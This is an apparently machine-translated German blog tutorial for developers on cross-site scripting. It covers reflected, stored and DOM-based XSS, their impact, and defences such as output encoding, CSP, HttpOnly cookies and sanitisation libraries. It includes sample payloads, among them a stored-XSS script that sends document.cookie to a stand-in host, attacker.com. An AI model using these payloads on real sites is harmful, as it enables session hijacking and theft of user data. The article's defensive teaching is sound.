Cybersicherheit

XSS (Cross-Site Scripting) – Typen, Auswirkungen und wie man es für Entwickler verhindert

Geschrieben von Adam Muiz Aktualisiert: 06 Aug 2026 7 Min. gelesen
XSS (Cross-Site Scripting) – Typen, Auswirkungen und wie man es für Entwickler verhindert

Haben Sie sich schon einmal auf einer Website angemeldet und dann passierte plötzlich etwas Seltsames – entweder erschien ein seltsames Popup, Ihre Sitzung ging verloren oder jemand hat Ihr Profil ohne Erlaubnis geändert? Wenn ja, könnte es sein, dass die Website von einer der klassischsten Schwachstellen in der Welt des Webs „befallen“ ist: Cross-Site Scripting, oder was wir besser als XSS kennen.

XSS ist wie SQL-Injection, das wir zuvor besprochen haben – beide stehen auf der OWASP-Top-10-Liste, beide sind gefährlich, aber die Art und Weise, wie sie funktionieren, ist sehr unterschiedlich. Wenn SQL-Injection die Datenbank angreift, greift XSS den Browser des Besuchers an. Und was beängstigend ist, ist, dass das Opfer sich meist überhaupt nicht bewusst ist.

Was ist eigentlich XSS?

Stellen Sie sich vor, Sie haben ein Schwarzes Brett im Büro. Jeder kann Notizen machen und diese an die Tafel kleben. Stellen Sie sich nun vor, dass ein Witzbold eine Notiz mit versteckten Anweisungen geschrieben hat – zum Beispiel: „Wenn Sie diese Notiz lesen, senden Sie den gesamten Inhalt Ihrer Brieftasche an diese Adresse.“ Andere Personen, die die Pinnwand lasen, folgten unbewusst den Anweisungen.

Das ist XSS in einer einfachen Analogie. XSS ist eine Schwachstelle, bei der ein Angreifer JavaScript-Code (oder manchmal auch HTML-Code) in eine Webseite einfügt, die von anderen Besuchern angezeigt wird. Der Browser des Opfers führt den Code aus, als wäre er Teil einer legitimen Website.

Der Schlüssel hier: Es ist nicht der Server, der den Code ausführt, sondern der Browser des Opfers. Browser können den Unterschied zwischen JavaScript, das von einer Website stammt, und JavaScript, das von einem Angreifer eingeschleust wurde, nicht erkennen – solange beide von derselben Domain stammen.

Arten von XSS, die Sie kennen müssen

XSS verfügt über drei Hauptvarianten, von denen jede unterschiedliche Merkmale und Abhilfemethoden aufweist.

1. Reflektiertes XSS

Dies ist die gebräuchlichste und am einfachsten zu verstehende Art von XSS. Schädlicher Code wird an den Server gesendet (normalerweise über einen URL-Parameter), und der Server „reflektiert“ ihn dann ohne angemessene Bereinigung an den Browser des Opfers zurück.

Einfaches Beispiel:

https://example.com/search?q=<script>alert('XSS')</script>

Wenn die Website den Parameter q nicht bereinigt, führt der Browser das Skript alert('XSS') aus, wenn die Suchergebnisseite geladen wird. In einem realen Szenario könnte ein Angreifer alert() durch Code ersetzen, der Cookies, Sitzungstoken oder andere vertrauliche Daten stiehlt.

Reflected XSS erfordert, dass das Opfer auf einen manipulierten Link klickt. Aus diesem Grund wird es häufig per E-Mail oder Nachricht gesendet: „Klicken Sie auf diesen Link, um Ihre Suchergebnisse anzuzeigen!“

2. Gespeichertes XSS

Das ist das Gefährlichste. Schädlicher Code wird in der Serverdatenbank gespeichert (gespeichert) – er kann sich in der Kommentarspalte, im Benutzerprofil, im Namen oder in jedem anderen Feld befinden, auf das andere Besucher zugreifen können.

Stellen Sie sich vor, jemand hinterlässt einen Kommentar zu Ihrem Blog:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

Jeder, der die Artikelseite öffnet, sendet unwissentlich seine Cookies an den Server des Angreifers. Es ist kein spezieller Link und keine Benutzeraktion erforderlich – öffnen Sie einfach die Seite, und schon sind Sie fertig.

Gespeichertes XSS ist wie Gift, das in Lebensmittel gemischt wurde. Jeder, der es isst, wird vergiftet, ohne dass es einer Anstiftung bedarf.

3. DOM-basiertes XSS

Dieser Typ tritt rein clientseitig auf. Der Server ist überhaupt nicht beteiligt – der Schadcode wird durch DOM-Manipulation (Document Object Model) durch JavaScript auf der Seite manipuliert.

Zum Beispiel verwendet eine Website document.location oder document.URL, um Parameter abzurufen und sie dann ohne Bereinigung in die Seite einzufügen:

const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Halo, ' + name;

Wenn jemand mit name=<img src=x onerror=alert(1)> auf eine URL zugreift, führt der Browser alert(1) aus, wenn er versucht, ein ungültiges Bild zu laden.

DOM-basiertes XSS ist für serverseitige Firewalls schwer zu erkennen, da der Angriff vollständig im Browser erfolgt.

Die Auswirkungen von XSS: Warum ist das ernst?

Viele Entwickler unterschätzen XSS mit der Begründung: „Es ist nur eine Warnung, es ist nicht gefährlich.“ Auch wenn die Auswirkungen sehr weitreichend sein können:

  • Session Hijacking – Cookies und Sitzungstoken können gestohlen werden, sodass sich ein Angreifer als Opfer anmelden kann.
  • Keylogging – Ein Angreifer kann ein Skript einschleusen, das jeden Tastendruck des Opfers protokolliert, einschließlich Passwörtern.
  • Verunstaltung – Das Erscheinungsbild von Website-Seiten kann geändert werden, um Besucher zu täuschen.
  • Malware-Verbreitung – Leiten Sie Opfer auf Phishing-Seiten oder Malware-Downloads um.
  • Krypto-Mining – Der Browser des Opfers kann zum Schürfen von Kryptowährungen ohne Erlaubnis missbraucht werden.

Im Kontext einer Website mit vielen aktiven Benutzern kann ein einziges gespeichertes XSS innerhalb von Minuten Tausende von Opfern infizieren.

So verhindern Sie XSS

Die gute Nachricht ist, dass XSS mit einem einfachen Prinzip verhindert werden kann: Vertrauen Sie niemals Benutzereingaben. Im Folgenden sind wirksame Schadensbegrenzungsstrategien aufgeführt:

1. Ausgabekodierung

Kodieren Sie jedes Mal Sonderzeichen, wenn Sie Daten eines Benutzers in HTML anzeigen. In PHP:

<?php
$user_input = $_GET['name'];
// Aman — karakter HTML di-encode
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
?>

Verwenden Sie in JavaScript textContent anstelle von innerHTML, um Text anzuzeigen:

// Berbahaya
element.innerHTML = userInput;

// Aman
element.textContent = userInput;

2. Inhaltssicherheitsrichtlinie (CSP)

CSP ist ein HTTP-Header, der begrenzt, welche Ressourcen der Browser ausführen darf. Bei striktem CSP lehnt der Browser die Ausführung von Skripten aus nicht autorisierten Quellen ab, selbst wenn XSS erfolgreich eingefügt wurde.

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

Dieser Header erlaubt nur Skripte und Stile aus der Domäne selbst. Die Skriptinjektion von anderen Domänen wird vom Browser automatisch blockiert.

3. HTTPOnly-Cookie

Mit dem HttpOnly-Flag auf einem Cookie kann JavaScript nicht auf das Cookie zugreifen – selbst wenn XSS erfolgreich ist. Dies ist eine sehr wirksame letzte Verteidigung, um Session-Hijacking zu verhindern.

<?php
setcookie('session_id', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);
?>

4. Eingabebereinigung

Für Inhalte, die HTML enthalten müssen (z. B. Rich-Text-Kommentare), verwenden Sie eine Bereinigungsbibliothek wie DOMPurify in JavaScript oder HTMLPurifier in PHP. Diese Bibliothek entfernt alle schädlichen Tags und Attribute und behält gleichzeitig sichere Inhalte bei.

5. Serverseitige Validierung

Verlassen Sie sich nicht ausschließlich auf die clientseitige Validierung – Angreifer können die gesamte JavaScript-Validierung mit Curl oder anderen Tools umgehen. Bevor Daten verarbeitet oder gespeichert werden, muss eine Validierung auf dem Server durchgeführt werden.

XSS im Kontext moderner Entwicklung

Moderne Frameworks wie React, Vue und Angular verfügen bereits über einen integrierten XSS-Schutz. React führt beispielsweise beim Rendern von JSX automatisch eine Ausgabekodierung durch. Aber das ist keine absolute Garantie – Entwickler können immer noch Lücken öffnen, indem sie dangerouslySetInnerHTML oder v-html ohne Bereinigung verwenden.

Das Gleiche gilt für moderne Backends. Laravel verfügt über eine Blade-Templating-Engine, die der Ausgabe automatisch entgeht. Aber auch hier können Funktionen wie {!! !!} (Ausgabe ohne Escapezeichen) eine Möglichkeit zur Eingabe von XSS sein, wenn sie ohne Vorsicht verwendet werden.

Fazit: Frameworks helfen, ersetzen aber nicht das Sicherheitsverständnis eines Entwicklers.

XSS-Testtools

Um zu testen, ob Ihre Website anfällig für XSS ist, können mehrere Tools verwendet werden:

  • Burp Suite – Anfragen abfangen und ändern, Nutzlasten in verschiedene Parameter einfügen.
  • OWASP ZAP – Automatischer Scanner, der verschiedene Arten von XSS erkennen kann.
  • XSS Hunter – Eine Plattform, die beim blinden XSS-Testen hilft.
  • Dramatiker / Puppenspieler – Browser-Automatisierung für manuelle XSS-Tests.

Der einfachste Weg: Versuchen Sie, <script>alert(document.domain)</script> in jedes Eingabefeld auf Ihrer Website einzufügen. Wenn eine Warnung angezeigt wird, liegt eine XSS-Sicherheitslücke vor.

Schlussfolgerung

XSS ist nicht nur ein „altes Problem“, das durch moderne Frameworks gelöst wurde. Jedes Jahr werden Hunderte neuer XSS-bezogener CVEs in beliebter Software entdeckt – WordPress-Plugins, CMS, JavaScript-Bibliotheken und sogar Browsern selbst. OWASP zählt XSS aufgrund seiner hohen Verbreitung und erheblichen Auswirkungen immer noch zu den Top 10.

Als Entwickler geht es beim Verständnis von XSS nicht nur darum, sicheren Code zu schreiben, sondern auch darum, Gewohnheiten zu entwickeln. Verschlüsseln Sie die Ausgabe immer, validieren Sie die Eingabe immer und gehen Sie immer davon aus, dass Benutzer versuchen werden, Ihre Website anzugreifen. Denn ob Sie es glauben oder nicht, sie werden es tun.

Haben Sie Erfahrung mit XSS? Sind Sie schon einmal auf einer Produktionswebsite auf diese Sicherheitslücke gestoßen? Erzählen Sie Ihre Geschichte in der Kommentarspalte – wer weiß, Ihre Erfahrung könnte eine Lehre für andere Entwickler sein.